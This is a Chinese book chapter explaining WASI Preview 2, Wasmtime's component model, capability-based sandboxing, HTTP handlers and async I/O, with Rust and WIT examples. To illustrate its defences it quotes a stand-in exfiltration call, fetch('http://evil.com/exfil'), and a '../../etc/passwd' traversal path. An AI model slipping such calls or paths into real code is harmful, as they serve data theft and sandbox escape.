Skip to content

第13章 WASI Preview 2 与 Wasmtime 运行时

"Simplicity is prerequisite for reliability." — Edsger Dijkstra

13.1 从 Preview 1 到 Preview 2:执行模型的换代

WASI Preview 2(2024 年 2 月随组件模型 Phase 1 发布)不是 Preview 1 的 API 翻新——它是执行模型的根本性换代。

先看 Preview 1 的三个硬伤。第一,fd_read 的签名是 (fd: i32, iovs_ptr: i32, iovs_len: i32) -> i32——调用者传入 i32 指针指向内存中的 scatter/gather 向量,返回值是读取的字节数。这个 API 和 POSIX 的 readv() 几乎一一对应——而 POSIX 的设计源于 1970 年代的 C 语言约束。WASM 的类型系统有能力表达更精确的接口,但 Preview 1 完全浪费了这种能力。

第二,Preview 1 的 fd 是全局整数——文件描述符、目录描述符、socket 描述符共享 0-2^31 的整数空间。这意味着你可以在一个 socket fd 上调用 fd_readdir,或者在目录 fd 上调用 sock_send——编译时完全不报错,运行时才返回 EBADF。这类 bug 在生产系统中极难定位——因为它只在特定调用序列下触发。

第三,Preview 1 没有异步 I/O。fd_read 阻塞整个 WASM 模块——在单线程的 WASM 运行时中,这意味着 I/O 等待期间 CPU 完全空闲。对于需要同时处理多个连接的 HTTP 服务器,这是致命的——第 12 章已经指出,这是服务器端 WASM 最大的缺失。

三个核心变化:

从裸模块到组件:Preview 1 的产物是裸 .wasm 模块——直接暴露 i32 参数的导入/导出函数。Preview 2 的产物是组件(Component)——在裸模块外包了一层 WIT 类型信息,函数签名是类型安全的(stringlist<u8>result<T, E>),不再是原始的 i32 指针+长度。

从 fd 整数到类型化资源:Preview 1 的文件描述符是 i32——文件、目录、socket 共享同一个整数空间。Preview 2 的 descriptordirectory-descriptortcp-socket 是独立的资源类型——编译时就能区分,不可能对目录调用 write

从同步阻塞到异步轮询:Preview 1 的所有 I/O 都是同步的——fd_read 阻塞整个模块。Preview 2 通过 wasi:io/poll 和异步流支持非阻塞 I/O——模块在等待 I/O 时让出执行权,宿主可以调度其他任务。

13.2 关键接口详解

Preview 2 把 WASI 拆成多个独立的接口包(package),每个包定义一组相关能力。模块只导入需要的接口——宿主根据导入清单做最小授权。这和 Preview 1 的单体 wasi_snapshot_preview1 模块截然不同——Preview 1 的所有函数(文件、网络、时钟、随机数……)都在一个导入模块里,模块导入 wasi_snapshot_preview1 就自动获得所有能力。

Preview 2 的接口拆分遵循最小权限原则:一个只做 HTTP 处理的组件不需要 wasi:filesystem——宿主在实例化时不注册文件系统接口,组件就无法访问任何文件。这种"默认零权限 + 按需授权"的安全模型比 Docker 的"默认全权限 + 手动限制"更安全——后者依赖运维人员记住配置安全策略,前者是架构级别的保证。

WASI Preview 2 目前定义了以下接口包:

包名核心接口能力
wasi:clienvironment, exit, stdin/stdout/stderr命令行参数、环境变量、标准流
wasi:filesystemtypes, preopens文件系统读写、目录遍历
wasi:iopoll, streams异步 I/O 轮询和流读写
wasi:socketstcp, udp, instance-networkTCP/UDP 网络编程
wasi:httpincoming-handler, outgoing-handler, typesHTTP 服务器和客户端
wasi:clocksmonotonic-clock, wall-clock高精度定时器和时钟
wasi:randomrandom, insecure密码学安全随机数

下面逐个解析最重要的接口。

wasi:cli——命令行基础

wit
package wasi:cli;

interface exit {
    exit: func(status: result) ->_;
}

interface environment {
    get-environment: func() -> list<tuple<string, string>>;
    get-arguments: func() -> list<string>;
    initial-cwd: func() -> option<string>;
}

interface stdin {
    get-stdin: func() -> input-stream;
}

interface stdout {
    get-stdout: func() -> output-stream;
}

interface stderr {
    get-stderr: func() -> output-stream;
}

和 Preview 1 的 args_get/environ_get 相比,Preview 2 的类型签名更精确:get-environment 返回 list<tuple<string, string>>——键值对,而不是两个平行的指针数组。get-arguments 返回 list<string>——不需要调用者预分配缓冲区。

更深层的设计差异:Preview 1 的 args_get 要求调用者传入两个指针(argvargv_buf),调用者需要先调用 args_sizes_get 获取参数数量和总长度,分配内存,再调用 args_get 填充。这是一个两步操作——如果参数在两次调用之间变化(理论上不可能,但 API 没有保证),就会出错。Preview 2 的 get-arguments 一步完成——WIT 的 list<string> 类型由 Canonical ABI 自动处理内存分配,调用者直接获得结果。

wasi:clocks 和 wasi:random

wit
package wasi:clocks;

interface monotonic-clock {
    now: func() -> instant;
    subscribe-duration: func(ns: u64) -> pollable;
    resolution: func() -> u64;
}

interface wall-clock {
    now: func() -> epoch;
    resolution: func() -> u64;
}

package wasi:random;

interface random {
    get-random-bytes: func(len: u64) -> list<u8>;
    get-random-u64: func() -> u64;
    insecure: func() -> generator;  // 不安全但快速的随机数
}

subscribe-duration 是异步的关键——它返回一个 pollable,可以在 wasi:io/poll 中等待。这把"定时器"变成了"I/O 事件"——统一了定时器和文件/网络 I/O 的等待模型。

wasi:io——异步 I/O 的基础设施

wit
package wasi:io;

interface poll {
    resource pollable {
        ready: func() -> bool;
        block: func() -> _;
    }
    poll: func(in: list<pollable>) -> list<u32>;
}

interface streams {
    resource input-stream {
        read: func(len: u64) -> result<list<u8>, stream-error>;
        blocking-read: func(len: u64) -> result<list<u8>, stream-error>;
        subscribe: func() -> pollable;
    }

    resource output-stream {
        write: func(contents: list<u8>) -> result<u64, stream-error>;
        blocking-write: func(contents: list<u8>) -> result<_, stream-error>;
        subscribe: func() -> pollable;
        flush: func() -> result<_, stream-error>;
    }
}

subscribe 方法是异步的核心——每个 input-streamoutput-stream 都可以返回一个 pollable,表示"这个流何时可读/可写"。poll::poll 接收一组 pollable,返回就绪的索引列表——语义和 Linux 的 epoll_wait/BSD 的 kevent 一致,但通过 WIT 接口跨语言可用。

这种设计和 POSIX poll() 的一个关键区别:POSIX 的 pollfd 包含 fdeventsrevents 三个字段——调用者需要构造结构体数组,检查返回的 revents 位掩码。WASI 的 poll 接收 pollable 资源列表,返回就绪索引列表——不需要位掩码操作,更类型安全。代价是 pollable 是一个资源(resource),需要在堆上分配——POSIX 的 pollfd 是栈上结构体。对于大规模并发(万级连接),这个额外分配开销需要考虑。

read vs blocking-read 的区别:read 是非阻塞的——如果缓冲区没有数据,立即返回空列表。blocking-read 是阻塞的——它会等待直到有数据或出错。在组件模型中,blocking-read 实际上是通过 subscribe + poll 实现的协作式阻塞——WASM 让出执行权,宿主在数据就绪后恢复执行。

wasi:http——HTTP 客户端和服务器

wit
package wasi:http;

interface incoming-handler {
    handle: func(request: incoming-request, response-out: response-outparam);
}

interface outgoing-handler {
    handle: func(request: outgoing-request, options: option<request-options>) -> result<incoming-response, error-code>;
}

interface types {
    resource incoming-request {
        method: func() -> method;
        path-with-query: func() -> option<string>;
        headers: func() -> headers;
        consume: func() -> result<input-stream, _>;
    }

    resource outgoing-response {
        set-status-code: func(status: u16) -> result<_, _>;
        headers: func() -> headers;
        body: func() -> result<output-stream, _>;
    }
}

incoming-handler 是 Preview 2 最具变革性的接口——它定义了一个被动式 HTTP 处理器:宿主接收 HTTP 请求,构造 incoming-request 对象,调用模块的 handle 函数。模块不需要自己监听端口、接受连接——这些全部由宿主负责。

这和传统的 HTTP 服务器模型(主动绑定端口、循环 accept)完全不同——而和《Axum Web 框架源码精讲》第 3 章的 Handler trait 设计异曲同工:都是"框架负责连接管理,用户只写请求处理逻辑"。

13.3 wasm32-wasip2 目标

Rust 在 2024 年添加了 wasm32-wasip2 目标三元组——专门为 WASI Preview 2 + 组件模型设计。这个目标的添加过程经历了 RFC 阶段的激烈讨论——核心争议是"Rust 应该支持多少个 WASM 目标"。当时已有 wasm32-unknown-unknown(浏览器)和 wasm32-wasi(服务器 Preview 1),再加 wasm32-wasip2 意味着三套 WASM 目标的维护负担。最终的决定是:wasm32-wasi 进入维护模式(Tier 3),wasm32-wasip2 成为 Tier 2 目标——长期来看只保留两个活跃的 WASM 目标。

bash
# 安装目标
rustup target add wasm32-wasip2

# 编译(产物是组件格式的 .wasm)
cargo build --target wasm32-wasip2 --release

wasm32-wasip2wasm32-wasi 的关键差异:

维度wasm32-wasiwasm32-wasip2
产物格式.wasm 模块组件 .wasm(含 WIT 元数据)
系统调用风格fd 整数 + wasi_snapshot_preview1类型化资源 + wasi:cli/filesystem/...
std::net不可用可用(通过 wasi:sockets
std::fs可用可用
异步 I/O不支持通过 wasi:io/poll 支持
稳定状态维护模式(不再添加新功能)活跃开发
运行时要求任何 WASI Preview 1 运行时支持组件模型的运行时(Wasmtime ≥ 18)

wasm32-wasip2 编译产物的一个重要变化:它不是普通的 .wasm 模块——它是一个组件。组件在裸模块外包了一层封装,包含 WIT 类型信息、Canonical ABI 适配器代码、导入/导出的接口声明。这意味着它不能在只支持 Preview 1 的运行时上执行——必须使用支持组件模型的运行时。

Rust 代码示例:命令行程序

rust
use std::fs;
use std::io::{self, Write};

fn main() -> io::Result<()> {
    // 和原生 Rust 代码完全一样——std::fs 和 std::io 在 wasip2 上工作
    let content = fs::read_to_string("input.txt")?;
    let word_count = content.split_whitespace().count();

    println!("Words: {}", word_count);

    fs::write("output.txt", format!("Word count: {}", word_count))?;
    Ok(())
}

编译到 wasm32-wasip2 后,std::fs::read_to_string 底层调用 wasi:filesystem/typesread 方法,println! 底层调用 wasi:cli/stdoutget-stdout + wasi:io/streamsblocking-write。Rust 代码不需要任何条件编译——标准库在 wasm32-wasip2 目标上自动使用 WASI Preview 2 的实现。

组件格式与 cargo-component

wasm32-wasip2 编译的产物是组件格式的 .wasm——不是裸模块。这意味着你需要 cargo-component 工具来管理组件的构建和 WIT 依赖:

bash
# 安装 cargo-component
cargo install cargo-component

# 创建新的 WASI 组件项目
cargo component new my-wasi-app --lib

# 构建(自动处理 WIT 依赖和组件封装)
cargo component build --release

cargo-component 做了两件 cargo build 不做的事:第一,它从 wasi:cliwasi:http 等 WIT 包生成 Rust 绑定代码(类似 wit-bindgen 但集成在构建流程中);第二,它在编译后把裸 .wasm 模块封装成组件格式——添加 WIT 元数据、Canonical ABI 适配器、导入/导出声明。

生成的 Cargo.toml 会自动包含 WASI 依赖:

toml
[dependencies]
wit-bindgen = "0.33"

[package.metadata.component]
package = "my-wasi-app"

[package.metadata.component.dependencies]
"wasi:cli" = "0.2"
"wasi:http" = "0.2"

全栈编译的实际配置

很多项目需要同时编译浏览器版本和服务器版本——浏览器用 wasm32-unknown-unknown + wasm-bindgen,服务器用 wasm32-wasip2 + WASI。Cargo 的 cfg 条件编译可以实现:

toml
[lib]
crate-type = ["cdylib", "lib"]

[target.'cfg(target_arch = "wasm32")'.dependencies]
wasm-bindgen = { version = "0.2", optional = true }
web-sys = { version = "0.3", features = ["Window"], optional = true }

[features]
browser = ["wasm-bindgen", "web-sys"]
server = []
rust
#[cfg(feature = "browser")]
use wasm_bindgen::prelude::*;

#[cfg(feature = "browser")]
#[wasm_bindgen]
pub fn process(data: &[u8]) -> Vec<u8> {
    core_process(data)
}

#[cfg(feature = "server")]
pub fn process(data: &[u8]) -> Vec<u8> {
    core_process(data)
}

fn core_process(data: &[u8]) -> Vec<u8> {
    // 共享的核心逻辑
    data.iter().map(|b| b.wrapping_add(1)).collect()
}

关键点:cfg(target_arch = "wasm32") 在两个 WASM 目标上都匹配。用 cfg(target_os = "unknown") 区分浏览器(unknown)和 WASI(wasip2 等价于有 OS 层)。

13.4 Wasmtime 44 的 WASI Preview 2 实现

Wasmtime 从版本 18 开始支持 WASI Preview 2,到版本 44(2025 年发布)已经成熟稳定。其 WASI Preview 2 的实现架构:

组件实例化流程

Preview 2 的模块不是裸 .wasm——它是组件(Component)。Wasmtime 必须用组件模型的方式实例化:

WasiCtxBuilder

Wasmtime 用 WasiCtxBuilder 构建 WASI 上下文——控制模块获得哪些能力:

rust
use wasmtime_wasi::preview2::{WasiCtxBuilder, WasiCtx};
use wasmtime::{Engine, Store, Linker, Component};

async fn run_component() -> Result<()> {
    let engine = Engine::default();
    let component = Component::from_file(&engine, "my_app.wasm")?;

    let wasi = WasiCtxBuilder::new()
        .args(&["my-app", "--verbose"])
        .env("MODE", "production")
        .preopened_dir(
            Dir::open_ambient_dir("./data", ambient_authority())?,
            DirPerms::READ,
            FilePerms::READ,
            "data",
        )?
        .inherit_stdout()
        .inherit_stderr()
        .build();

    let mut linker = Linker::new(&engine);
    wasmtime_wasi::preview2::command::add_to_linker(&mut linker)?;

    let mut store = Store::new(&engine, wasi);
    let instance = linker.instantiate_async(&mut store, &component).await?;

    // 调用 wasi:cli/run 的 run 函数
    let run = instance.get_typed_func::<(), Result<(), ()>>(&mut store, "run")?;
    run.call_async(&mut store, ()).await??;

    Ok(())
}

command::add_to_linker 注册了 wasi:cli/run world 的所有接口实现——包括 wasi:cli/environmentwasi:cli/exitwasi:filesystem/typeswasi:clockswasi:random 等。模块的每一个 WASI 调用都经过这些注册的实现——未注册的接口在实例化时就会报错。

WasiCtxBuilder 的安全边界

WasiCtxBuilder 的每个方法都对应一个能力授权——不调用的方法意味着不授权。这是能力安全的核心实现:

rust
// 最小权限:只允许读取标准输入、写入标准输出
let wasi = WasiCtxBuilder::new()
    .inherit_stdin()    // 授予 stdin 读取
    .inherit_stdout()   // 授予 stdout 写入
    // 没有 inherit_stderr —— 模块无法写入 stderr
    // 没有 preopened_dir —— 模块无法访问文件系统
    // 没有 env —— 模块无法读取环境变量
    .build();

这种"默认零权限"的设计避免了 Docker 的一个常见安全失误——Dockerfile 经常 RUN chmod 777 /data 或挂载整个主机文件系统,因为配置正确的细粒度权限太繁琐。WASI 的能力安全在架构层面防止了这种"图方便"导致的安全漏洞——你无法授予你没有的能力。

WasiCtxBuildercap-std 的配合实现文件系统沙箱——preopened_dir 接受一个 cap_std::fs::Dir 对象,这个对象本身就是受限的——它只能访问创建时指定目录及其子目录。即使在 WASM 模块内部调用 std::fs::canonicalize("../../etc/passwd")cap-std 会在路径规范化后检查是否逃逸了沙箱边界——如果逃逸则返回 PermissionDenied

实例生命周期

一个组件实例从创建到销毁的完整生命周期:

每个状态转换的开销:Creating(编译组件 → 机器码)占 80% 时间,Configuring + Linking 占 15%,Instantiating 占 5%。缓存编译结果(Module::deserialize)可以把 Creating 阶段从秒级降到毫秒级。

13.5 HTTP 处理器:wasi:http/incoming-handler

wasi:http 是 Preview 2 新增的最重要的接口——它让 WASM 模块可以直接处理 HTTP 请求/响应,不需要外部代理。

WASI HTTP 的设计哲学可以概括为一个类比:如果 Axum 是"你自己开店、自己接待客人",那 WASI HTTP 就是"你只负责做菜,餐厅负责接待和端菜"。模块不需要关心 TCP 连接管理、HTTP 协议解析、keep-alive——它只需要实现"收到请求 → 返回响应"的逻辑。

实现一个 HTTP Handler

rust
use wasi::http::incoming_handler;
use wasi::http::types::*;

struct HttpHandler;

impl incoming_handler::Guest for HttpHandler {
    fn handle(request: IncomingRequest, response_out: ResponseOutparam) {
        let path = request.path_with_query().unwrap_or("/".to_string());
        let method = request.method().to_string();

        match (method.as_str(), path.as_str()) {
            ("GET", "/") => {
                let body = "Hello from WASM!";
                send_response(response_out, 200, body.as_bytes());
            }
            ("GET", "/api/status") => {
                let body = r#"{"status":"ok","runtime":"wasi-preview2"}"#;
                send_response(response_out, 200, body.as_bytes());
            }
            _ => {
                send_response(response_out, 404, b"Not Found");
            }
        }
    }
}

fn send_response(response_out: ResponseOutparam, status: u16, body: &[u8]) {
    let response = OutgoingResponse::new(Fields::new());
    response.set_status_code(status).unwrap();
    let body_stream = response.body().unwrap();
    body_stream.write().unwrap().blocking_send_and_flush(body).unwrap();
    ResponseOutparam::set(response_out, Ok(response));
}

export!(HttpHandler);

HTTP 请求的完整流转

wasmtime serve:一行命令启动 HTTP 服务

Wasmtime 提供了 wasmtime serve 子命令,一行命令即可把 WASM 组件变成 HTTP 服务器:

bash
# 启动 HTTP 服务器,监听 8080 端口
wasmtime serve --listen 0.0.0.0:8080 my_handler.wasm

# 指定允许的目录
wasmtime serve --listen 0.0.0.0:8080 --dir ./data my_handler.wasm

# 指定环境变量
wasmtime serve --listen 0.0.0.0:8080 --env DB_PATH=/data/db my_handler.wasm

wasmtime serve 做了这些事:

  1. 实例化 WASM 组件,配置 wasi:httpwasi:cli 导入
  2. 启动一个 hyper HTTP 服务器,监听指定端口
  3. 收到请求时,构造 incoming-request 资源,调用 WASM 的 handle 函数
  4. WASM 处理完成后,把 outgoing-response 写回 hyper 的响应流

底层 hyper 服务器处理了 TCP 连接管理、HTTP/1.1 协议解析、keep-alive、分块传输编码等细节——WASM 模块只需要实现业务逻辑。

HTTP Handler 的宿主侧配置

在宿主侧,需要用 wasmtime_wasi_http 配置 HTTP 支持:

rust
use wasmtime_wasi_http::HttpOptions;

async fn run_http_component() -> Result<()> {
    let engine = Engine::default();
    let component = Component::from_file(&engine, "http_handler.wasm")?;

    let wasi = WasiCtxBuilder::new()
        .inherit_stdout()
        .inherit_stderr()
        .build();

    let mut linker = Linker::new(&engine);

    // 注册 WASI CLI + HTTP 支持
    wasmtime_wasi::preview2::command::add_to_linker(&mut linker)?;
    wasmtime_wasi_http::add_to_linker(&mut linker, HttpOptions::default())?;

    let mut store = Store::new(&engine, wasi);
    let instance = linker.instantiate_async(&mut store, &component).await?;

    // 如果组件导出 wasi:http/incoming-handler,宿主可以直接调用
    let handler = instance
        .get_typed_func::<(u32, u32), ()>(&mut store, "handle")?;

    Ok(())
}

HttpOptions::default() 配置了默认的出站 HTTP 限制——组件可以通过 wasi:http/outgoing-handler 发起 HTTP 请求,但默认不允许。需要显式配置 allowed_http_hosts

rust
let http_opts = HttpOptions {
    allowed_http_hosts: Some(vec![
        "api.example.com".to_string(),
        "cdn.example.com".to_string(),
    ]),
    ..Default::default()
};

这又是一个能力安全的实例:WASM 组件不能像 Node.js 代码那样随意调用 fetch("http://evil.com/exfil")——它只能访问宿主白名单中的域名。

与 Axum Handler 的对比

WASI HTTP Handler 和 Axum 的 Handler trait 有相似的设计哲学,但实现层面差异显著:

rust
// Axum Handler —— 直接访问 Rust 的全部生态
async fn handle_axum(req: Request) -> Response {
    let body = req.into_body();
    let bytes = axum::body::to_bytes(body, 1024).await.unwrap();
    // 可以直接用 tokio::fs、sqlx、reqwest...
    let db_result = sqlx::query("SELECT ...").fetch_one(&pool).await;
    Response::builder().body("ok".into()).unwrap()
}

// WASI HTTP Handler —— 只能通过 WASI 接口访问外部世界
fn handle_wasi(request: IncomingRequest, response_out: ResponseOutparam) {
    let path = request.path_with_query().unwrap_or("/".to_string());
    // 没有 tokio::fs —— 只能用 wasi:filesystem
    // 没有 sqlx —— 只能通过 wasi:sockets 自行实现数据库协议
    // 没有 reqwest —— 只能用 wasi:http/outgoing-handler
    send_response(response_out, 200, b"ok");
}

核心区别:Axum Handler 运行在完整的 Rust 异步运行时上,可以自由使用任何 crate;WASI Handler 运行在沙箱中,所有外部交互必须通过 WASI 接口。前者的优势是灵活性和生态,后者的优势是安全性和可移植性——同一个 WASI Handler 可以在 Wasmtime、Wasmer、WAMR 等不同运行时上执行,不需要重新编译。

13.6 异步 I/O:wasi:io/poll 的实现

Preview 2 的异步 I/O 是最复杂的子系统。WASM 本身没有 async/await(组件模型的异步提案仍在开发中),所以异步通过回调+轮询的协作模型实现。

poll 的工作机制

wit
// wasi:io/poll.wit
poll: function(in: list<pollable>) -> list<u32>;

poll 接收一组 pollable 对象,阻塞直到至少一个就绪,返回就绪对象的索引列表。它的语义和 POSIX 的 poll()/epoll_wait() 一致——但实现路径完全不同。

关键设计:WASM 模块不知道 tokio 的存在——它只调用 WASI 的 poll 接口,Wasmtime 负责把 poll 映射到 tokio 的异步 I/O。这种分层让模块代码不依赖具体的异步运行时——同一个模块可以在 Wasmtime(tokio)和 Wasmer(smol)上运行。

Rust 中的异步 WASI 编程

wasm32-wasip2 上,Rust 的 async fn 编译为状态机——和编译到 x86_64 时一样。但 WASM 的状态机没有自己的调度器——它必须让出执行权给宿主。

rust
use wasi::io::poll;
use wasi::io::streams::{InputStream, OutputStream};
use wasi::clocks::monotonic_clock;

async fn read_with_timeout(stream: InputStream, timeout_ms: u32) -> Option<Vec<u8>> {
    let stream_pollable = stream.subscribe();
    let timer_pollable = monotonic_clock::subscribe_duration(
        timeout_ms as u64 * 1_000_000, // 纳秒
    );

    let ready = poll::poll(&[stream_pollable, timer_pollable]);

    if ready.contains(&0) {
        // stream 就绪——读取数据
        match stream.read(4096) {
            Ok(data) => Some(data),
            Err(_) => None,
        }
    } else {
        None // 超时
    }
}

Wasmtime 的 call_async 方法实现协作调度:

rust
// Wasmtime 宿主代码
let result = instance
    .typed_func::<(i32,), i32>("process")?
    .call_async(&mut store, (input,))
    .await?;

call_async 让 WASM 函数在 tokio 的异步上下文中执行。当 WASM 调用 poll::poll 时,Wasmtime 挂起 WASM 执行,把控制权交回 tokio——tokio 可以调度其他任务或等待 I/O。I/O 就绪后,tokio 恢复 Wasmtime,Wasmtime 恢复 WASM 执行。

异步流的读写模式

WASI 的流定义了两种读写模式:非阻塞(read/write)和阻塞(blocking-read/blocking-write)。

非阻塞模式适用于 poll 循环:

rust
// 非阻塞模式:手动 poll 循环
loop {
    let pollable = stream.subscribe();
    let ready = poll::poll(&[pollable]);
    if ready.contains(&0) {
        match stream.read(4096) {
            Ok(data) if data.is_empty() => break, // EOF
            Ok(data) => process(data),
            Err(_) => break,
        }
    }
}

阻塞模式适用于简单的顺序读写——底层仍然是协作式调度:

rust
// 阻塞模式:简单但高效
let data = stream.blocking_read(4096)?; // 让出执行权直到数据就绪
output.blocking_write(&data)?;          // 让出执行权直到写入完成
output.flush()?;                        // 确保数据发送

blocking-read 并不是真正阻塞线程——它在 WASM 层面是"让出执行权+等待恢复"的协作式阻塞。Wasmtime 会在 blocking-read 调用时挂起 WASM 执行,在数据就绪后恢复——整个过程中 tokio 的工作线程不会阻塞。

13.7 从 Preview 1 到 Preview 2 的迁移

维度Preview 1Preview 2
API 风格C fd-basedWIT 接口定义
类型安全fd 是整数资源类型
异步wasi:io/poll
网络wasi:sockets + wasi:http
模块化单体 monolith独立接口包
目标三元组wasm32-wasiwasm32-wasip2
Rust std 支持部分完整(通过 WASI 系统调用)
组件模型不使用强制(输出组件格式)
Wasmtime 最低版本0.18+18.0+

迁移路径:Rust 的 wasm32-wasi 目标已进入维护模式,新项目应使用 wasm32-wasip2。现有代码的迁移通常只需改 Cargo.toml 中的目标和依赖:

toml
# 旧 (Preview 1)
[dependencies]
wasi = "0.11"  # Preview 1 绑定

# 新 (Preview 2)
[dependencies]
wasi = "0.13"  # Preview 2 绑定

大部分 Rust 标准库的 API(std::fsstd::netstd::time)在两个目标上都能工作——差异在底层实现而非用户 API。但有两个需要注意的破坏性变化:

fd 不再是 i32:如果代码直接使用了 wasi::fd_readwasi::fd_write 等 Preview 1 的底层 API(不通过 std::fs),这些 API 在 Preview 2 中不存在。需要改用 wasi::io::streamsinput-stream/output-stream

preopens 的路径映射:Preview 1 用 fd_prestat_dir_name 获取路径名;Preview 2 用 wasi:filesystem/preopens 接口返回 list<tuple<descriptor, string>>——类型更安全,但获取方式不同。

13.8 安全边界与运行时限制

文件系统沙箱

cap-std 的沙箱策略:

  1. 路径规范化:所有路径都经过 canonicalize 处理——符号链接被解析,../ 被消除
  2. 边界检查:规范化后的路径必须以预打开目录的规范化路径为前缀——否则拒绝
  3. 权限检查:即使路径合法,也要检查操作是否符合预打开时声明的权限(读/写)
rust
// cap-std 内部的关键检查(简化)
fn check_path(base: &Path, requested: &Path, perms: DirPerms) -> Result<()> {
    let canonical = base.join(requested).canonicalize()?;
    if !canonical.starts_with(base.canonicalize()?) {
        return Err(Error::PermissionDenied); // 逃逸尝试
    }
    if perms == DirPerms::READ && operation_is_write() {
        return Err(Error::ReadOnly); // 写入只读目录
    }
    Ok(())
}

网络沙箱

wasi:sockets 的安全模型和文件系统类似——模块默认没有网络能力。Wasmtime 通过配置控制:

bash
# 允许 TCP 连接到指定地址
wasmtime --tcplisten 127.0.0.1:8080 my_module.wasm

# 允许出站连接到指定地址
wasmtime --tcplisten 0.0.0.0:0 my_module.wasm

Wasmtime 的网络实现:模块的 socket() 调用被 Wasmtime 拦截——只允许创建宿主授权的 socket。未授权的网络请求直接返回错误码 EACCES

执行超时

执行超时是服务器场景的关键安全措施——防止恶意或有 bug 的模块无限循环占用 CPU。Wasmtime 用 epoch 机制实现:设置一个 epoch 计数器,模块执行到特定位置时检查当前 epoch 是否已过期——如果过期,trap 退出。

rust
// 宿主代码:设置 5 秒超时
store.set_epoch_deadline(1);
std::thread::spawn(move || {
    std::thread::sleep(Duration::from_secs(5));
    engine.increment_epoch();
});

// 超时后 WASM 的执行会被 trap 中断
// 模块可以通过 trap 机制捕获超时并做清理

资源限制

限制默认值配置方式
线性内存最大4 GBConfig::max_wasm_memory()
表最大元素数10,000,000Config::max_wasm_table_elements()
实例最大数量10,000Config::max_instances()
执行超时无限制Store::set_epoch_deadline() + epoch 中断
文件大小限制无限制宿主操作系统限制
网络连接数无限制宿主操作系统限制

13.9 跨书关联:WASI 异步与 Tokio 异步

WASI Preview 2 的异步模型和《Tokio 源码深度解析》第 8 章(I/O Driver)形成有趣对照:

  • Tokio:Rust 代码直接调用 epoll/kqueue,自己管理 I/O 事件循环——运行时即调度器
  • WASI:Rust 代码调用 wasi:io/poll,Wasmtime 把 poll 映射到宿主的异步 I/O——运行时是代理

两者都是"协作式异步"——任务在等待 I/O 时主动让出执行权。但 Tokio 是自包含的运行时(自己调度自己),WASI 是嵌入式运行时(宿主调度 WASM)。这导致一个架构差异:Tokio 可以做 work-stealing(线程间任务窃取),WASI 不能——WASM 模块没有跨线程共享状态的能力(除非用 SharedArrayBuffer,但 WASI Preview 2 尚未支持多线程)。

从应用开发者的视角看,这种差异体现为一个选择:如果需要高性能服务器(高并发、低延迟、多核利用),用 Tokio 原生编译(x86_64/aarch64);如果需要安全隔离、可移植、快速启动,用 WASI Preview 2 编译(wasm32-wasip2)。两者不是竞争关系——而是"裸机性能"和"沙箱安全"之间的工程权衡。

13.10 WASI Preview 2 的实际部署场景

WASI Preview 2 的新能力(HTTP 处理、异步 I/O、类型化资源)在以下场景中已经开始实际使用。

边缘计算

边缘计算节点资源有限(内存 128MB-512MB),启动时间要求极短(冷启动 < 5ms)。传统容器方案(Docker + OCI runtime)冷启动时间在 100-500ms 范围——不符合要求。WASI 组件的冷启动时间在 100-500 微秒范围——快 1000 倍。

边缘计算的典型工作流:CDN 节点收到 HTTP 请求 → 路由到对应的 WASI 组件 → 组件处理请求并返回响应。整个流程中,组件可以按需加载和卸载——不用的组件不占用内存。Wasmtime 的实例化开销足够低,支持"每请求一个实例"的隔离模型——不同用户的请求在独立的组件实例中执行,互不干扰。

服务器端插件系统

大型应用(数据库、API 网关、消息队列)经常需要支持用户自定义逻辑——如自定义认证、自定义路由、自定义数据转换。传统方案是嵌入 Lua/JavaScript 解释器,但解释型语言的性能受限。

WASI 提供了一个替代方案:用户用 Rust/C/Go 编写插件,编译为 WASI 组件,应用用 Wasmtime 加载执行。编译型语言的性能比解释型快 10-100 倍,同时 WASI 的能力安全保证插件不会越权——即使插件包含恶意代码,也只能访问宿主显式授权的资源。

跨平台命令行工具

命令行工具通常需要在不同操作系统(Linux/macOS/Windows)上运行——需要为每个平台编译和分发单独的二进制文件。WASI 提供了一个替代方案:编译一次为 WASI 组件,任何支持 WASI 的运行时都可以执行。

但这里有一个限制:WASI Preview 2 不支持所有操作系统功能——没有 fork/exec、没有信号处理、没有终端控制。只有"纯计算 + 文件 I/O"类型的命令行工具适合编译为 WASI——如文本处理工具、数据格式转换工具、代码生成器。

13.11 WASI 与容器编排:runwasi / krustlet / Spin

WASI 组件要在生产环境运行,需要和现有的容器编排基础设施集成——Kubernetes、Nomad、Docker Compose。这部分生态在 2024-2026 年快速成熟,理解关键工具的定位有助于做架构选型。

13.11.1 三种集成路径

13.11.2 路径一:containerd-shim-wasm(生产首选)

containerd-shim-wasm 是 containerd 的 WASM 适配层——把 WASM 模块伪装成"容器",让 Docker/Kubernetes 不需要改动就能运行 WASI 组件。

部署示例:

yaml
# Kubernetes Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: wasm-app
spec:
  template:
    spec:
      runtimeClassName: wasmtime  # 关键:指定 WASM 运行时
      containers:
      - name: app
        image: registry.example.com/my-wasi-app:1.0  # OCI 镜像,但内容是 .wasm

OCI 镜像构建:

dockerfile
FROM scratch
COPY my-app.wasm /app.wasm
ENTRYPOINT ["/app.wasm"]

优势:复用 Kubernetes 的所有能力——deploy/replicaset/HPA/service/ingress 全部可用。运维团队不需要学新工具——它们看到的是"一种特殊的容器"。

13.11.3 路径二:runwasi 与 krustlet

更深度集成的方案是用 WASM 专用的 runtime 替代 OCI runtime:

工具集成层状态适用
runwasicontainerd shim生产可用(CNCF Sandbox)替换部分节点的 runtime
krustletkubelet维护停滞不推荐新项目
youki + WASMOCI runtime实验研究用途

runwasi 的优势:原生 WASM 执行(不需要 OCI 镜像层包装)、更低的启动开销、更精细的资源控制。代价:需要修改节点配置、排错需要懂 containerd 内部。

13.11.4 路径三:Spin / wasmCloud(PaaS 路线)

如果不想自己运维基础设施,专属 PaaS 是最快的路径:

Fermyon Spin:本地开发体验类似 Vercel,支持 HTTP/Redis/SQLite trigger,用 WASI 组件作为 handler:

toml
# spin.toml
spin_manifest_version = 2

[application]
name = "my-app"

[[trigger.http]]
route = "/api/..."
component = "api"

[component.api]
source = "target/wasm32-wasip2/release/api.wasm"
bash
spin deploy  # 一行部署到 Fermyon Cloud

wasmCloud:CNCF 项目,分布式 actor 系统,actor 之间通过 WIT 接口调用:

bash
wash app deploy my-application.yaml

适用:早期项目快速验证、不愿运维 K8s 的团队。

13.11.5 路径选择决策

90% 的生产场景应选 OCI 镜像包装——复用现有 K8s 工具链是最大的运维节约。runwasi 适合 "全部 workload 都是 WASM" 的特殊场景,Spin 适合不愿运维基础设施的团队。

13.12 WASI 实战:常见错误与诊断

